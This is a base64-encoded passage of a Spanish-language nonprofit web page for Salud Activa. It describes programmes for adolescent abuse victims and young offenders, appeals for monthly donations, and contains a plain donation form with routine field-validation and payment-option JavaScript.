mnDsW9zIHkgbmnDsWFzIG5vIGFsY2FuemEgY29uIGVsIHRyYXRhbWllbnRvIGVuIHVuIGNvbnN1bHRvcmlvLCBwb3JxdWUgbGFzIHByb2JsZW3DoXRpY2FzIHNlIGNvbXBsZWppemFuLCBsYXMgc2l0dWFjaW9uZXMgc2UgYWdyYXZhbiB5IHNlbnRpbW9zIHF1ZSB0ZW7DrWFtb3MgcXVlIGhhY2VyIGFsZ28gbcOhc+KApgogIEFzw60gbmFjZSBudWVzdHJvIFByb2dyYW1hIE1ldGFtb3Jmb3NpcywgdW4gZXNwYWNpbyBkZSB0cmF0YW1pZW50byBpbnRlZ3JhbCBjb24gaW50ZXJuYWNpw7NuIHBhcmEgYWRvbGVzY2VudGVzIG11amVyZXMgdsOtY3RpbWFzIGRlIGFidXNvIHNleHVhbCwgZGUgdmlvbGVuY2lhLCBkZSB0cmF0YeKAplRhbWJpw6luIGluaWNpYW1vcyBudWVzdHJvcyBwcm9ncmFtYXMgQ29uc3RydXllbmRvIHkgQXByZW5kZXIgYSB2b2xhciwgZGVzdGluYWRvIGEgYWRvbGVzY2VudGVzIGVuIGNvbmZsaWN0byBjb24gbGEgbGV5IHBlbmFsLCAgcHVuaWJsZXMgeSBubyBwdW5pYmxlcyByZXNwZWN0aXZhbWVudGUsIAogIGFsZ28gYWx0ZXJuYXRpdm8gYSBsYSBpbnRlcm5hY2nDs27igKYKICA8YnIgLz48YnIgLz4KICBBIGxvIGxhcmdvIGRlIGVzdG9zIGHDsW9zIGhlbW9zIGRlc2Fycm9sbGFkbyBtdWNob3MgcHJvZ3JhbWFzLCBxdWUgdHV2aWVyb24gcXVlIGRpc2NvbnRpbnVhcnNlIGRlYmlkbyBhIGxhIGZhbHRhIGRlIHJlY3Vyc29zIGVjb27Ds21pY29zLCBsYSB2ZXJkYWQgZXMgcXVlIG51bmNhIGhheSBkaW5lcm8gcGFyYSBlc3RvcyB0ZW1hcywgYSBwZXNhciBkZSBxdWUgdG9kbyBlbCBtdW5kbyBzZSBsYSBwYXNhIGhhYmxhbmRvIGRlIGVsbG9zLCBwZXJvIGhhYmxhbiwgc29sbyBoYWJsYW7igKYKICA8YnIgLz48YnIgLz4KICBIb3kgbm9zIGVuY29udHJhbW9zIGVuIGVzdGUgbW9tZW50bywgZW4gZG9uZGUgU2FsdWQgQWN0aXZhIHNlIGVuY3VlbnRyYSBlbiBjcmlzaXPigKYKICBOdWVzdHJhIMO6bmljYSBmdWVudGUgZGUgZmluYW5jaWFtaWVudG8gcGFyZWNlIHF1ZSB0YW1iacOpbiBlc3TDoSBlbiBjcmlzaXMsIG5vcyBlbmNvbnRyYW1vcyBlbiB1bmEgZW5jcnVjaWphZGEsIG5lY2VzaXRhbW9zIGRlIGxhIGF5dWRhIGRlIHVzdGVkZXPigKZTaSBsZXMgcGFyZWNlIHF1ZSBlc3RhbW9zIGhhY2llbmRvIGFsZ28gYnVlbm8gcGFyYSBsYSBnZW50ZSBsb3MgaW52aXRhbW9zIGEgcXVlIHNlIGFzb2NpZW4gYSBub3NvdHJvcyBtZWRpYW50ZSBlbCBwYWdvIGRlIHVuYSBwZXF1ZcOxYSBjb250cmlidWNpw7NuIG1lbnN1YWwgcXVlIHNlIGRlYml0YXLDoSBkZSBzdSB0YXJqZXRhIAogIGRlIGNyw6lkaXRvLCB0b2RhIGNvbGFib3JhY2nDs24gcG9yIHBlcXVlw7FhIHF1ZSBzZWEgbm9zIGF5dWRhcsOhCiAgPGJyIC8+PGJyIC8+CiAgQWNvbXBhw7FlbiBlc3RhIHRhcmVhIHF1ZSBkZXNlYW1vcyBzZWd1aXIgaGFjaWVuZG/igKYKPC9zcGFuPjwvcD4KPC9kaXY+CgkJCjwvZGl2PgogICAgPGRpdiBjbGFzcz0iZm9vdGVyIj48aW1nIHNyYz0iaW1hZ2VzL2Zvb3Rlci5qcGciIHdpZHRoPSI5MzUiIGhlaWdodD0iODciIC8+PC9kaXY+Cgo8L2Rpdj4KICAgICA8IS0tZW5kIG9mIENPTlRFTklETzEgLS0+CiAgICAKICAgIDxkaXYgY2xhc3M9ImNvbnRlbmlkbzIiIGlkPSJjb250ZW5pZG8yIj4KICAgIDwhLS1DT05URU5JRE8gMmRvIEJPVE9OICAtLT4KICAgIAoKPGRpdiBjbGFzcz0iZm9uZG9fY29udDIiPgoKPGRpdiBjbGFzcz0iZm9ybSI+CiAgPGRpdiBjbGFzcz0idGV4dG8iPgogICAgPHA+Jm5ic3A7PC9wPgogICAgPHA+Jm5ic3A7PC9wPgo8cD48c3BhbiBjbGFzcz0idGl0dWxvX2Zvcm0iPjxiPkRBVE9TIFBFUlNPTkFMRVM8L2I+PC9zcGFuPgogICAgPHNwYW4gY2xhc3M9InRpdHVsb19mb3JtMiI+KEVzIG9ibGlnYXRvcmlvIHJlbGxlbmFyIGxvcyBjYW1wb3MgCiAgICAgICAgICAgICAgICBpbmRpY2Fkb3MgY29uICopPC9zcGFuPjwvcD4KICAgIDxkaXYgaWQ9ImJsb3F1ZV9penFfMDMiPgogICAgCQk8ZGl2IGlkPSJibG9xdWVfaXpxXzAzX3RleHRvIj4KICAgICAgICAgICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAgICAgICAgICAgIDxzY3JpcHQ+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICBmdW5jdGlvbiB2YWxpZGFyRW1haWwoZW1haWwpIHsgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgdmFyIHJlICA9IC9eKFthLXpBLVowLTlfLi1dKStAKChbYS16QS1aMC05LV0pKy4pKyhbYS16QS1aMC05XXsyLDR9KSskLzsgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgaWYgKCFyZS50ZXN0KGVtYWlsKSkgeyAKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgcmV0dXJuIGZhbHNlOyAKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB9IAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHJldHVybiB0cnVlOyAKICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICAgICAgZnVuY3Rpb24gdmFsaWRhcihvYmopIHsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIGlmIChvYmoubm9tYnJlLnZhbHVlID09ICcnKSB7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgYWxlcnQoIkRlYmUgaW5ncmVzYXIgc3Ugbm9tYnJlIik7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgb2JqLm5vbWJyZS5mb2N1cygpOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHJldHVybiBmYWxzZTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIGlmIChvYmouYXBlbGxpZG8udmFsdWUgPT0gJycpIHsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBhbGVydCgiRGViZSBpbmdyZXNhciBzdSBhcGVsbGlkbyIpOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIG9iai5hcGVsbGlkby5mb2N1cygpOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHJldHVybiBmYWxzZTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIGlmIChvYmoudGVsZWZvbm8udmFsdWUgPT0gJycpIHsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBhbGVydCgiRGViZSBpbmdyZXNhciBzdSB0ZWxlZm9ubyIpOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIG9iai50ZWxlZm9uby5mb2N1cygpOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHJldHVybiBmYWxzZTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIGlmIChvYmouZW1haWwudmFsdWUgPT0gJycpIHsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBhbGVydCgiRGViZSBpbmdyZXNhciBzdSBlbWFpbCIpOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIG9iai5lbWFpbC5mb2N1cygpOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHJldHVybiBmYWxzZTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgaWYgKHZhbGlkYXJFbWFpbChvYmouZW1haWwudmFsdWUpID09IGZhbHNlKSB7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGFsZXJ0KCJFbCBlbWFpbCBpbmdyZXNhZG8gZXMgaW5jb3JyZWN0byIpOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBvYmouZW1haWwuZm9jdXMoKTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgcmV0dXJuIGZhbHNlOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIGlmIChvYmoudGVybWlub3MuY2hlY2tlZCAhPSB0cnVlKSB7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgYWxlcnQoIkRlYmUgYWNlcHRhciBsb3MgdMOpcm1pbm9zIHkgY29uZGljaW9uZXMiKTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBvYmoudGVybWlub3MuZm9jdXMoKTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICByZXR1cm4gZmFsc2U7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICAgICAgPC9zY3JpcHQ+CiAgICAgICAgICAgICAgICAgICAgICAgIAogICAgICAgICAgICAgICAgICAgICAgICA8Zm9ybSBuYW1lPSJjb250YWN0IiBtZXRob2Q9IlBPU1QiIGFjdGlvbj0iZW52aW8ucGhwIiBvblN1Ym1pdD0icmV0dXJuIHZhbGlkYXIodGhpcykiPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAgICAgICAgICAgPGRpdiBpZD0iYmxvcXVlX2l6cV8wMiI+CjxoMT5Ob21icmU8Zm9udCBjb2xvcj0iI0ZGNjYwMCI+KjwvZm9udD48L2gxPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxoMT5BcGVsbGlkbzxmb250IGNvbG9yPSIjRkY2NjAwIj4qPC9mb250PjwvaDE+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGgxPlByb2Zlc2nDs248L2gxPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxoMT5MdWdhciBkZSB0cmFiYWpvPC9oMT4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8aDE+VGVsw6lmb25vPGZvbnQgY29sb3I9IiNGRjY2MDAiPio8L2ZvbnQ+PC9oMT4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8aDE+RW1haWw8Zm9udCBjb2xvcj0iI0ZGNjYwMCI+KjwvZm9udD48L2gxPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxiciAvPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxiciAvPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwhLS0gPGgxPk5yby4gZGUgVGFyamV0YTxmb250IGNvbG9yPSIjRkY2NjAwIj4qPC9mb250PjwvaDE+IC0tPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxoMT5Nb250bzxmb250IGNvbG9yPSIjRkY2NjAwIj4qPC9mb250PjwvaDE+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGgxPlRpcG8gZGUgT3BlcmFjacOzbjxmb250IGNvbG9yPSIjRkY2NjAwIj4qPC9mb250PjwvaDE+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGgxIGlkPSJoMV90YXJqZXRhIj5UYXJqZXRhPGZvbnQgY29sb3I9IiNGRjY2MDAiPio8L2ZvbnQ+PC9oMT4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8aDEgaWQ9ImgxX2ZyZWN1ZW5jaWEiPkZyZWN1ZW5jaWE8Zm9udCBjb2xvcj0iI0ZGNjYwMCI+KjwvZm9udD48L2gxPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgPC9kaXY+CiAgICAgICAgICAgICAgICAgICAJCSAgPGZpZWxkc2V0PgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8cD48YnIgLz4KICAgICAgICAgICAgICAgICAgICAgICAgICA8aW5wdXQgbmFtZT0ibm9tYnJlIiBjbGFzcz0icmVnMSIgc2l6ZT0iMTUiIHdpZHRoPSIxMDUiIGlkPSJub21icmUiIHR5cGU9InRleHQiPjwvcD4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGgxPjwvaDE+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxwPjxpbnB1dCBuYW1lPSJhcGVsbGlkbyIgY2xhc3M9InJlZzEiIHNpemU9IjE1IiB3aWR0aD0iMTA1IiBpZD0iYXBlbGxpZG8iIHR5cGU9InRleHQiPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8L3A+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxoMT48L2gxPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8cD48aW5wdXQgbmFtZT0icHJvZmVzaW9uIiBjbGFzcz0icmVnMSIgc2l6ZT0iMTUiIHdpZHRoPSIxMDUiIGlkPSJwcm9mZXNpb24iIHR5cGU9InRleHQiPjwvcD4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGgxPjwvaDE+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxwPjxpbnB1dCBuYW1lPSJ0cmFiYWpvIiBjbGFzcz0icmVnMSIgc2l6ZT0iMTUiIHdpZHRoPSIxMDUiIGlkPSJ0cmFiYWpvIiB0eXBlPSJ0ZXh0Ij48L3A+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxoMT48L2gxPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8cD48aW5wdXQgbmFtZT0idGVsZWZvbm8iIGNsYXNzPSJyZWcxIiBzaXplPSIxNSIgd2lkdGg9IjEwNSIgaWQ9InRlbGVmb25vIiB0eXBlPSJ0ZXh0Ij48L3A+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxoMT48L2gxPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8cD48aW5wdXQgbmFtZT0iZW1haWwiIGNsYXNzPSJyZWcxIiBzaXplPSIxNSIgd2lkdGg9IjEwNSIgaWQ9ImVtYWlsIiB0eXBlPSJ0ZXh0Ij48L3A+PGJyIC8+CgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPHA+PHNwYW4gY2xhc3M9InRpdHVsb19mb3JtIj48Yj5ET05BQ0lPTkVTPC9iPjwvc3Bhbj48L3A+ICAKICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxwPjwvcD4KICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwhLS0gPHA+PGlucHV0IG5hbWU9InRhcmpldGEiIGNsYXNzPSJyZWcxIiBzaXplPSIxNSIgd2lkdGg9IjEwNSIgaWQ9InRhcmpldGEiIHR5cGU9InRleHQiPjwvcD4gLS0+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8cD48c2VsZWN0IG5hbWU9Im1vbnRvIiBjbGFzcz0icmVnMiIgaWQ9Im1vbnRvIiBvbkNoYW5nZT0iaWYgKHRoaXMudmFsdWUgPT0gJy0xJykgeyBkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgndHh0bW9udG8nKS5zdHlsZS5kaXNwbGF5PScnOyB9IGVsc2UgeyBkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgndHh0bW9udG8nKS5zdHlsZS5kaXNwbGF5PSdub25lJzsgfSAiPgogICAgICAgICAgICAgICAgICAgICAgPG9wdGlvbiB2YWx1ZT0iNTAiPiQgNTA8L29wdGlvbj4KICAgICAgICAgICAgICAgICAgICAgIDxvcHRpb24gdmFsdWU9IjEwMCI+JCAxMDA8L29wdGlvbj4KICAgICAgICAgICAgICAgICAgICAgIDxvcHRpb24gdmFsdWU9IjE1MCI+JCAxNTA8L29wdGlvbj4KICAgICAgICAgICAgICAgICAgICAgIDxvcHRpb24gdmFsdWU9IjIwMCI+JCAyMDA8L29wdGlvbj4KICAgICAgICAgICAgICAgICAgICAgIDxvcHRpb24gdmFsdWU9Ii0xIj5PdHJvLCBpbmdyZXNlIHZhbG9yPC9vcHRpb24+CiAgICAgICAgICAgICAgICAgICAgPC9zZWxlY3Q+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8c2NyaXB0PgogICAgICAgICAgICAgICAgICAgICAgICAgICAgZnVuY3Rpb24gc29sb051bWVyb3MobXlmaWVsZCxlKSB7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAJdmFyIGtleWNvZGU7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAJaWYgKHdpbmRvdy5ldmVudCkgewogICAgICAgICAgICAgICAgICAgICAgICAgICAgCSAgICBrZXljb2RlID0gd2luZG93LmV2ZW50LmtleUNvZGU7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAJfSBlbHNlIHsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIAkgICAgaWYgKGUpIHsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIAkgICAgICAgIGtleWNvZGUgPSBlLndoaWNoOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgCSAgICB9IGVsc2UgewogICAgICAgICAgICAgICAgICAgICAgICAgICAgCSAgICAgICAgcmV0dXJuIHRydWU7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAJICAgIH0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIAl9CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAJaWYgKCgoa2V5Y29kZT40NykgJiYgKGtleWNvZGU8NTgpKSAgfHwgKGtleWNvZGU9PTgpKSB7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAJICAgIHJldHVybiB0cnVlOyAKICAgICAgICAgICAgICAgICAgICAgICAgICAgIAl9IGVsc2UgewogICAgICAgICAgICAgICAgICAgICAgICAgICAgCSAgICByZXR1cm4gZmFsc2U7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAJfQogICAgICAgICAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgICAgICAgICAgICAgPC9zY3JpcHQ+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8aW5wdXQgbmFtZT0idHh0bW9udG8iIGNsYXNzPSJyZWcxIiBzaXplPSIxNSIgd2lkdGg9IjIwIiBpZD0idHh0bW9udG8iIHR5cGU9InRleHQiIG1heGxlbmd0aD0iNyIgb25LZXlQcmVzcz0icmV0dXJuIHNvbG9OdW1lcm9zKHRoaXMsIGV2ZW50KTsiIHN0eWxlPSJkaXNwbGF5Om5vbmUiPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgPC9wPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgPHNjcmlwdD4KICAgICAgICAgICAgICAgICAgICAgICAgICAgIGZ1bmN0aW9uIG11ZXN0cmFGb3JtYVBhZ28odmFsb3IpIHsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBpZiAodmFsb3IgPT0gMikgewogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgncF9tZWRpb3BhZ28nKS5zdHlsZS5kaXNwbGF5ID0gJ25vbmUnOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgncF9jdW90YXMnKS5zdHlsZS5kaXNwbGF5ID0gJ25vbmUnOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgncF9mb3JtYXBhZ29vdHJvJykuc3R5bGUuZGlzcGxheSA9ICcnOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgnaDFfdGFyamV0YScpLmlubmVySFRNTCA9ICdGb3JtYSBkZSBQYWdvPGZvbnQgY29sb3I9IiNGRjY2MDAiPio8L2ZvbnQ+JzsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoJ2gxX2ZyZWN1ZW5jaWEnKS5pbm5lckhUTUwgPSAnJzsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB9IGVsc2UgewogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgncF9tZWRpb3BhZ28nKS5zdHlsZS5kaXNwbGF5ID0gJyc7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdwX2N1b3RhcycpLnN0eWxlLmRpc3BsYXkgPSAnJzsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoJ3BfZm9ybWFwYWdvb3RybycpLnN0eWxlLmRpc3BsYXkgPSAnbm9uZSc7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdoMV90YXJqZXRhJykuaW5uZXJIVE1MID0gJ1RhcmpldGE8Zm9udCBjb2xvcj0iI0ZGNjYwMCI+KjwvZm9udD4nOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgnaDFfZnJlY3VlbmNpYScpLmlubmVySFRNTCA9ICdGcmVjdWVuY2lhPGZvbnQgY29sb3I9IiNGRjY2MDAiPio8L2ZvbnQ+JzsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8L3NjcmlwdD4KICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxwPjxzZWxlY3QgbmFtZT0iZm9ybWFwYWdvIiBjbGFzcz0icmVnMiIgaWQ9ImZvcm1hcGFnbyIgb25DaGFuZ2U9Im11ZXN0cmFGb3JtYVBhZ28odGhpcy52YWx1ZSkiIHN0eWxlPSJwb3NpdGlvbjpyZWxhdGl2ZTsgdG9wOjVweDsiPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8b3B0aW9uIHZhbHVlPSIxIj5UYXJqZXRhIGRlIENyw6lkaXRvPC9vcHRpb24+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxvcHRpb24gdmFsdWU9IjIiPkVmZWN0aXZvICjDum5pY2EgdmV6KTwvb3B0aW9uPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgPC9zZWxlY3Q+PC9wPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgPHAgaWQ9InBfbWVkaW9wYWdvIiBzdHlsZT0iZGlzcGxheTpub25lIj48c2VsZWN0IG5hbWU9Im1lZGlvcGFnbyIgY2xhc3M9InJlZzIiIGlkPSJtZWRpb3BhZ28iIHN0eWxlPSJwb3NpdGlvbjpyZWxhdGl2ZTsgdG9wOjZweDsiPgogICAgICAgICAgICAgICAgICAgICAgPG9wdGlvbiB2YWx1ZT0iMTUiPk1hc3RlcmNhcmQ8L29wdGlvbj4KICAgICAgICAgICAgICAgICAgICAgIDxvcHRpb24gdmFsdWU9IjEiPlZpc2E8L29wdGlvbj4KICAgICAgICAgICAgICAgICAgICAgIDxvcHRpb24gdmFsdWU9IjYiPkFtZXJpY2FuIEV4cHJlc3M8L29wdGlvbj4KICAgICAgICAgICAgICAgICAgICA8L3NlbGVjdD48L3A+CiAgICAgICAgICAgICAgICAgICAgIDxwIGlkPSJwX2N1b3RhcyIgc3R5bGU9ImRpc3BsYXk6bm9uZSI+PHNlbGVjdCBuYW1lPSJjdW90YXMiIGNsYXNzPSJyZWcyIiBpZD0iY3VvdGFzIiBzdHlsZT0icG9zaXRpb246cmVsYXRpdmU7IHRvcDo3cHg7Ij4KICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxvcHRpb24gdmFsdWU9IjEiPkQmZWFjdXRlO2JpdG8gQXV0b20mYWFjdXRlO3RpY28gKHRvZG9zIGxvcyBtZXNlcyk8L29wdGlvbj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxvcHRpb24gdmFsdWU9IjIiPsOabmljYSB2ZXo8L29wdGlvbj4KICAgICAgICAgICAgICAgICAgICAgICAgICA8L3NlbGVjdD48L3A+CiAgICAgICAgICAgICAgICAgICAgPHAgaWQ9InBfZm9ybWFwYWdvb3RybyIgc3R5bGU9ImRpc3BsYXk6bm9uZSI+PHNlbGVjdCBuYW1lPSJmb3JtYXBhZ29vdHJvIiBjbGFzcz0icmVnMiIgaWQ9ImZvcm1hcGFnb290cm8iIHN0eWxlPSJwb3NpdGlvbjpyZWxhdGl2ZTsgdG9wOjdweDsiPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgPG9wdGlvbiB2YWx1ZT0iOTk3Ij5EZXBvc2l0byBCYW5jYXJpbzwvb3B0aW9uPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgPG9wdGlvbiB2YWx1ZT0iOTk4Ij5QYWdvIGVuIEVmZWN0aXZvPC9vcHRpb24+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8b3B0aW9uIHZhbHVlPSI5OTkiPkRpbmVyb01haWw8L29wdGlvbj4KICAgICAgICAgICAgICAgICAgICAgICAgICA8L3NlbGVjdD48L3A+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPHA+ICAgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxiciAvPiAgICAgICAgICAgICAgICAgICAKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxpbnB1dCBuYW1lPSJyZWNpYmlyIiBpZD0iY2hlY2siIHR5cGU9ImNoZWNrYm94IiBjaGVja2VkPSJ0cnVlIiB2YWx1ZT0iU2kiIC8+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFMmaWFjdXRlOywgZGVzZW8gcmVjaWJpciAKICAgICAgICAgICAgICAgIGluZm9ybWFjaSZvYWN1dGU7biBwZXJpJm9hY3V0ZTtkaWNhIGRlIFNhbHVkIEFjdGl2YSB5IAogICAgICAgICAgICAgICAgc3VzIFByb3llY3RvcyBkZSBEZXNhcnJvbGxvLiAgICAgICAgICAgICAgICA8L3A+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxwPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxpbnB1dCBuYW1lPSJsaXN0YSIgaWQ9ImNoZWNrIiB0eXBlPSJjaGVja2JveCIgY2hlY2tlZD0idHJ1ZSIgdmFsdWU9IlNpIiAvPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFNpIGRlc2VvIGFwYXJlY2VyIGVuIGxhIGxpc3RhIGRlIGRvbmFjaW9uZXMgaW5kaXZpZHVhbGVzLiAKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBBcGFyZWNlciZhYWN1dGU7IHN1IG5vbWJyZSBlbiBsYSBsaXN0YSBkZWwgcG9ydGFsIGRlIFNhbHVkIAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICBBY3RpdmEuPC9wPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8cD4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8aW5wdXQgbmFtZT0idGVybWlub3MiIGlkPSJ0ZXJtaW5vcyIgdHlwZT0iY2hlY2tib3giIHZhbHVlPSJTaSIgLz4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBBY2VwdG8gbG9zIHTDqXJtaW5vcyB5IGNvbmRpY2lvbmVzLjwvcD4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPHA+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQWRlbcOhcywgY29uIHR1IGRvbmFjacOzbiwgb2J0ZW7DqXMgZGVzY3VlbnRvcyBlbiB0b2RhcyBsYXMgYWN0aXZpZGFkZXMgZGUgU2FsdWQgQWN0aXZhOiBjdXJzb3MsIGpvcm5hZGFzLCBjb25ncmVzb3MuPC9wPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8cD4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxpbnB1dCBuYW1lPSJpbWFnZSIgc3JjPSJmb3JtX2ZpbGVzL0ZPUk1VTEFSSU9fMTUuanBnIiBoZWlnaHQ9IjM4IiB0eXBlPSJpbWFnZSIgd2lkdGg9IjExNSI+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGltZyBvbkNsaWNrPSJyZXR1cm4gcmVzZXQoKTsiIHNyYz0iZm9ybV9maWxlcy9ib3Rvbi1jYW5jZWxfMTUuanBnIiBoZWlnaHQ9IjM4IiB3aWR0aD0iMTE1Ij48L3A+CiAgICAgICAgICAgICAgICAgICAgICAgICAgPC